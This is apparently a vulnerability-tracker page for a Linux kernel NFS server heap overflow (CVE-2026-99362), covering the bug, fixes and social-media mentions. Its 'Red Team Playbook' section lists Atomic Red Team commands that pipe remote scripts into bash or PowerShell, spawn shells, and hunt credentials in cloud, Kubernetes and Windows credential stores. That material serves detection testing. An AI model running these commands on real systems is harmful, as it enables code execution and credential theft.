CVE-2026-99362
Overview
This vulnerability is a buffer overflow caused by improper validation of the reply buffer size in the Linux kernel's NFS server (nfsd) implementation. Specifically, the nfsd4_sequence() function narrows the reply buffer to the session's cached reply limit without ensuring it can accommodate the fixed-size SEQUENCE result plus a following operation's error status. This flaw affects the NFSv4 server's slot allocation and reply caching mechanism, leading to out-of-bounds memory writes within the sl_data[] buffer of a slot.
Vulnerability Description
In the Linux kernel, the following vulnerability has been resolved: nfsd: preflight SEQUENCE replies before accepting a slot nfsd4_sequence() narrows the reply buffer to the session's cached reply limit before it accepts the slot seqid. A client may negotiate ca_maxresponsesize_cached down to NFSD_MIN_HDR_SEQ_SZ, and nfsd4_alloc_slot() then gives every slot a zero-length sl_data[]. A COMPOUND tag can fill that narrowed buffer until it holds the SEQUENCE opcode but not the status word that follows. nfsd4_encode_operation() returns without running nfsd4_encode_sequence(), so cstate.data_offset stays zero. It leaves op->status at nfs_ok as well, so the COMPOUND is treated as having succeeded. nfsd4_store_cache_entry() declines to cache a lone SEQUENCE that returned an error. That test reads the status the operation reported, so it passes here. The copy starts at offset zero and takes the whole reply, RPC and COMPOUND headers included, into the zero-length sl_data[]. The COMPOUND tag is copied along with it, so the client picks most of the bytes written past the end of the slot: BUG: KASAN: slab-out-of-bounds in read_bytes_from_xdr_buf+0x1bc/0x390 Write of size 80 at addr ffff888003a549cd by task kunit_try_catch/24 __asan_memcpy+0x38/0x60 read_bytes_from_xdr_buf+0x1bc/0x390 nfsd4_sequence_done+0x5b0/0x810 nfs4svc_encode_compoundres+0x1bf/0x240 Check that the fixed-size SEQUENCE result, plus room for a following operation's error status, fits the negotiated limit before narrowing the buffer and consuming the slot seqid. The slot and its reply cache are left unchanged, as RFC 8881 Section 2.10.6.1.2 requires of an error returned from SEQUENCE.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending specially crafted NFSv4 COMPOUND requests to the vulnerable Linux NFS server. This triggers out-of-bounds memory writes in kernel space, potentially leading to system crashes, denial of service, or arbitrary code execution with kernel privileges. No user interaction or authentication is required, enabling remote compromise of the underlying Linux system and disruption of NFS services, which could lead to lateral movement or full system control in enterprise environments.
Solution
Apply the patches referenced in the Linux kernel stable commits aff12e327620258123f847d7d06565f4555c5cb4, 6a26c5473bb112d8420ffd48d5331bc5fb5a2065, and fa85acf074f000ad3d1a5ffb703128ff97de983d. These commits fix the buffer validation in the nfsd4_sequence() function to ensure the SEQUENCE result and subsequent error status fit within the negotiated reply buffer size. Users should update to the latest stable Linux kernel version that includes these fixes. Consult the official Linux kernel stable tree and vendor advisories for detailed patch application instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (27)
27 mentions from 22 sources in the last 7 days BuzzFactor 86 / 100
-
social bsky.app @karenit.net 2026-11-26 08:16 UTC#تنبيه_أمني من مركز الاستجابة الأمنية كارن آي تي (KSRC) رقم التنبيه: KSRC-2026-11262 تم #اكتشاف ثغرة #حرجة للكتابة خارج الحدود في تنفيذ خادم NFS داخل نواة لينكس (#nfsd). الثغرة مسجلة تحت الرقم CVE-2026-99362 وتحمل درجة CVSS 9.8 (حرجة). ksr…Open source
-
social bsky.app @karenit.net 2026-11-26 08:13 UTCKSRC #Advisory ID: KSRC-2026-11262 A #critical out-of-bounds write #vulnerability has been identified in the #Linux #kernel’s NFS server implementation (nfsd). The vulnerability is tracked as CVE-2026-99362 and carries a CVSS 9.8. ksrc.kar…Open source
-
social mastodon.social @hrbrmstr 2026-11-26 07:14 UTCHappy Thanksgiving from the folks who gave us nfs2root on a major U.S. holiday — https://opensec.in/blog/nfs2root-cve-2026-99362 (cc: @shellsharks). A 12-year-old pre-auth heap overflow in the Linux NFS server (nfsd). The OpenSec folks nee…Open source
-
social bsky.app @technotenshi.bsky.social 2026-11-26 06:41 UTCAn unauthenticated client can corrupt kernel memory on Linux hosts serving NFSv4.1 or 4.2 over TCP 2049 (CVE-2026-99362, rated 9.8). OpenSec says it built a root shell from the bug. Fixed in 6.12.117, 6.18.61 and 7.3.2. Until patched, rest…Open source
-
social infosec.exchange @technotenshi 2026-11-26 06:41 UTCCVE-2026-99362 is a 9.8-rated, unauthenticated heap overflow in the Linux kernel NFS server (nfsd), present since Linux 3.16. It affects hosts serving NFSv4.1 or 4.2 on a reachable TCP 2049. OpenSec says its tool built a root shell from it…Open source
-
social bsky.app @ytroncal.bsky.social 2026-11-26 06:00 UTCNFS2ROOT: a 12-year-old pre-auth remote root in the Linux kernel's NFS server opensec.in/blog/nfs2roo...Open source
-
social bsky.app @glonce.com 2026-11-26 04:45 UTCLinux NFS bug CVE-2026-99362 allows remote root without login OpenSec has detailed a pre-authentication heap overflow in the Linux kernel's NFS server that dates to 2014 and says it chained the bug into a remote root shell. Fixed kernels a…Open source
-
social bsky.app @axnews.bsky.social 2026-11-26 04:12 UTC🚨 Breaking: CVE-2026-99362 — Critical 9.8 Impacted if: Linux ≥ 3.16, fixed in 7.3.2 · 6.18.61 · 6.12.117 +4 over the network · no login https://ax-news.com/cve/CVE-2026-99362 #CVE #infosecOpen source
-
social infosec.exchange @117509315927375519 2026-11-26 04:12 UTC🚨 Breaking: CVE-2026-99362 — Critical 9.8 Impacted if: Linux ≥ 3.16, fixed in 7.3.2 · 6.18.61 · 6.12.117 +4 over the network · no login https:// ax-news.com/cve/CVE-2026-99362 # CVE # infosecOpen source
-
social bsky.app @hn100.atproto.rocks 2026-11-26 04:01 UTCNfs2root: A 12-year-old pre-auth remote root in the Linux kernel's NFS server https://opensec.in/blog/nfs2root-cve-2026-99362 https://news.ycombinator.com/item?id=50647161Open source
-
social bsky.app @nekomura-koneko.bsky.social 2026-11-26 03:14 UTCopensec.in/blog/nfs2roo...Open source
-
social bsky.app @hackernewsrobot.bsky.social 2026-11-26 02:54 UTCNfs2root: A 12-year-old pre-auth remote root in the Linux kernel's NFS serverOpen source
-
social news.ycombinator.com scottchiefbaker 2026-11-26 01:20 UTCNfs2root: A 12-year-old pre-auth remote root in the Linux kernel's NFS serverOpen source
-
social bsky.app @betterhn50.e-work.xyz 2026-11-25 23:19 UTCNfs2root: A 12-year-old pre-auth remote root in the Linux kernel's NFS server https://opensec.in/blog/nfs2root-cve-2026-99362 (https://news.ycombinator.com/item?id=50647161)Open source
-
social bsky.app @wojak7537.bsky.social 2026-11-25 22:57 UTCNFS2ROOT (CVE-2026-99362) is a pre-auth heap overflow in Linux nfsd, fixed in 6.12.117, 6.18.61, 7.3.2 and 7.4-rc1. https://agxsearch.ai/t/yeteg6?utm_source=bluesky&utm_medium=socialOpen source
-
social news.ycombinator.com davrosthedalek 2026-11-25 22:21 UTCNfs2root: A 12-year-old pre-auth remote root in the Linux kernel's NFS serverOpen source
-
social bsky.app @betterhn20.e-work.xyz 2026-11-25 22:14 UTCNfs2root: A 12-year-old pre-auth remote root in the Linux kernel's NFS server https://opensec.in/blog/nfs2root-cve-2026-99362 (https://news.ycombinator.com/item?id=50647161)Open source
-
social bsky.app @tero.rukii.net.ap.brid.gy 2026-11-25 21:05 UTCNFS2ROOT (CVE-2026-99362): pre-auth root in Linux nfsd | OpenSec opensec.in/blog/nfs2roo…Open source
-
social bsky.app @cybersecurity.page 2026-11-25 20:42 UTCCVE-2026-99362: a pre-auth root flaw in the Linux kernel's NFS server, 12 years old and rated CVSS 9.8. Unauthenticated attackers can gain root on affected systems. Patching admins, your backlog just grew again.Open source
-
social news.ycombinator.com dm 2026-11-25 20:35 UTCNfs2root: A 12-year-old pre-auth remote root in the Linux kernel's NFS serverOpen source
-
news boannews.com 2026-11-25 13:44 UTC인증 없이 루트 권한 탈취... 리눅스 ‘NFS2ROOT’ 제로클릭 경보Open source
-
social bsky.app @wagahai.info 2026-11-24 13:11 UTCCVE-2026-99362、LKMの不具合なのでいまいちテンション上がらなかったOpen source
-
news note.com 2026-11-24 01:02 UTC【念のため】LinuxのNFSサーバー機能(nfsd)にCVSS 9.8の重大脆弱性「うちのサーバーも対象?」と慌てる前に知っておきたい3つの ...Open source
-
social bsky.app @securitylab-jp.bsky.social 2026-11-23 23:35 UTCLinuxのNFSサーバーに重大脆弱性「CVE-2026-99362」 RHEL 6~10やUbuntuも対象、認証不要でカーネルメモリー破壊のおそれ rocket-boys.co.jp/security-mea... #セキュリティ対策Lab #security #securitynews #セキュリティ #セキュリティニュースOpen source
-
news thehackernews.com 2026-11-23 15:10 UTC⚡ Weekly Recap: VMware 0-Day, Java4Shell, NGINX2Root, Ruby2Shell, and a Whole Lot of Shell Trouble - The Hacker NewsOpen source
-
social bsky.app @stackflag.bsky.social 2026-11-22 12:10 UTCCVE-2026-99362 - linux The NFS server code in the Linux kernel could copy data into a memory area that is too small, potentially causing the server to crash or behave unpredictably. This occurs when a client requests… Too many irrelevant o…Open source
-
social infosec.exchange @cve 2026-11-19 15:06 UTCCVE-2026-99362 nfsd: preflight SEQUENCE replies before accepting a slot In the Linux kernel, the following vulnerability has been resolved: nfsd: preflight SEQUENCE replies before accepting a slot nfsd4_sequence() narrows the reply buffer…Open source
References (9)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-99362 |
| git.kernel.org |
GitHub CVE
|
https://git.kernel.org/stable/c/aff12e327620258123f847d7d06565f4555c5cb4 |
| git.kernel.org |
GitHub CVE
|
https://git.kernel.org/stable/c/6a26c5473bb112d8420ffd48d5331bc5fb5a2065 |
| git.kernel.org |
GitHub CVE
|
https://git.kernel.org/stable/c/fa85acf074f000ad3d1a5ffb703128ff97de983d |
| git.kernel.org |
GitHub CVE
|
https://git.kernel.org/stable/c/cd303eb29cf34a6780f4c42aca5b8ca4a05a5d59 |
| git.kernel.org |
GitHub CVE
|
https://git.kernel.org/stable/c/1a5a227bca6a8a9f9d31230697aeb84c62a21da6 |
| git.kernel.org |
GitHub CVE
|
https://git.kernel.org/stable/c/37fc2ec211630360e9aefcaaec8730db964645f2 |
| git.kernel.org |
GitHub CVE
|
https://git.kernel.org/stable/c/ed98b0c57e5e84290c5b35428144ab26778905f3 |
| git.kernel.org |
GitHub CVE
|
https://git.kernel.org/stable/c/35ff1a7a7e3835c3e974bc5c45d335897564ceae |